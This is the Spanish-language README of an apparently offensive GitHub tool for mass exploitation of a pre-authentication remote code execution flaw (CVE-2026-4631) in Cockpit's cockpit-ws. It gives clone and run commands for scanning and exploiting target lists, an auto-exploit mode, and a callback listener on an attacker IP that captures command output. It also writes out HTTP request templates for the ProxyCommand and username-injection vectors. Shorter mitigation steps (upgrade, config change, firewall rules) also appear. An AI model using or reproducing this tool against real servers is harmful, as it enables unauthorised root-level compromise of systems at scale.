Ejecución remota de código no autenticada mediante inyección de argumentos de línea de comandos SSH Versiones de Cockpit 327 – 359 | CVSS 9.8 Critical | CWE-78
Ejecución Remota de Código no Autenticada mediante Inyección de Argumentos en la Línea de Comandos SSH Versiones de Cockpit 327 – 359 | CVSS 9.8 Crítico | CWE-78
Herramienta de explotación masiva para CVE-2026-4631 en el servicio web Cockpit (cockpit-ws, puerto 9090). Soporta modo de escaneo de vulnerabilidad, modo RCE con captura de salida de comandos mediante un listener HTTP callback integrado, modo --auto (escanea y explota en una sola ejecución con el comando id por defecto), agregado automático del puerto :9090 para objetivos sin puerto, ambos vectores de ataque (ProxyCommand + inyección de username %r), objetivos masivos desde archivo, concurrencia con hilos y salida estructurada de resultados.
Autor: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Edite targets.txt — un host por línea. El puerto :9090 se agregará automáticamente si no está presente:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Escanea y explota en una sola ejecución, comando por defecto "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATACANTE>
# Ejemplo de salida en results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Solo escaneo de vulnerabilidad (sin explotar)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE explícito con comando personalizado
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATACANTE>
# Objetivo único
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATACANTE>
CVE-2026-4631 es un RCE ciego — la salida del comando no se devuelve en la respuesta HTTP. La herramienta utiliza un listener HTTP integrado (puerto por defecto 8888) para capturar la salida. Asegúrese de:
--callback-ip es una IP accesible desde el objetivo (no 127.0.0.1)8888 (o --listener-port personalizado)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verificar la versión (debe ser >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Edite /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Reinicie el servicio:
sudo systemctl restart cockpit
Restrinja el puerto 9090 solo a la red de administración:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Mitiga el Vector 1 (inyección ProxyCommand) mediante validación temprana del nombre de host:
ssh -V # debe ser OpenSSH_9.6 o superior
Si no se puede actualizar a la versión 360, aplique los commits del parche:
-- en beiboot.py y cockpitauth.c-- en session.pyDetalles del parche: consulte docs/PATCH_ANALYSIS.md
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Gravedad | Crítico (CVSS 9.8) |
| CWE | CWE-78 — Inyección de Comandos del Sistema Operativo |
| Afectado | Cockpit 327 – 359 |
| Corregido en | Cockpit 360+ |
| Se requiere autenticación | NO (pre-autenticación) |
| Reportado por | Jelle van der Waa |
| Servicio | cockpit-ws, puerto por defecto 9090 |
Cockpit v327 reemplazó cockpit-ssh (libssh) con python3 -m cockpit.beiboot, que invoca el cliente ssh de OpenSSH del sistema. La entrada controlada por el usuario — nombre de host de la ruta URL y nombre de usuario del encabezado Authorization: Basic — se pasa a ssh sin saneamiento y sin el separador -- de fin de opciones. La inyección ocurre antes de la verificación de credenciales, por lo que no se necesita un inicio de sesión válido.
El nombre de host de la ruta URL se inyecta con la opción SSH -oProxyCommand=<comando>.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: objetivo:9090
Authorization: Basic base64("x:x")
SSH interpreta -oProxyCommand=<comando> como una opción y ejecuta <comando> como ProxyCommand. El comando se ejecuta como el proceso de usuario cockpit-ws.
Requisito previo: OpenSSH < 9.6 en el objetivo. OpenSSH 9.6+ tiene validación temprana del nombre de host que bloquea metacaracteres.
%r en el Nombre de Usuario (Secundario)El nombre de usuario del encabezado Authorization: Basic se inyecta con un comando de shell.
GET /cockpit+=legit-host/login HTTP/1.1
Host: objetivo:9090
Authorization: Basic base64("x; <CM D>; #:x")
SSH expande %r con el nombre de usuario en la directiva Match exec → el shell ejecuta el comando inyectado.
Requisito previo: el ssh_config del objetivo tiene una directiva Match exec con el token %r.
LoginTo) no está deshabilitadassh_config con Match exec %r# Clonar desde GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Instalar dependencias
pip install -r requirements.txt
# Verificar
python3 exploit.py --help
requests>=2.31 — Cliente HTTP para las solicitudes de exploitcolorama>=0.4 — Salida de terminal coloreadaNo hay dependencias adicionales para el listener (usa http.server + threading de la biblioteca estándar).